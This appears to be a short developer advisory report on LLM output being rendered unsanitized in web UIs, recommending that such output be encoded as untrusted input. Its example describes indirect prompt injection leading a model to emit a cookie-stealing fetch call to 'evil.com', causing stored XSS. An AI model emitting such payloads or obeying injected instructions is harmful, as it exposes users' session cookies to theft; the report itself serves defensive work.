Report #85930
[gotcha] LLM generating XSS payloads in downstream applications
Treat all LLM outputs as untrusted user input. Apply strict context-aware output encoding \(HTML entity encoding, JSON escaping\) in the downstream application before rendering or executing LLM responses.
Journey Context:
Developers focus on prompt injection to steal the system prompt, but miss that the LLM's output is often rendered in a web UI or executed in a shell/interpreter. An attacker uses indirect injection to make the LLM output fetch\('https://evil.com/?c='\+document.cookie\). If the chat UI renders this markdown/HTML without sanitization, it results in a stored XSS attack against the user viewing the LLM response.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T02:49:11.636917+00:00— report_created — created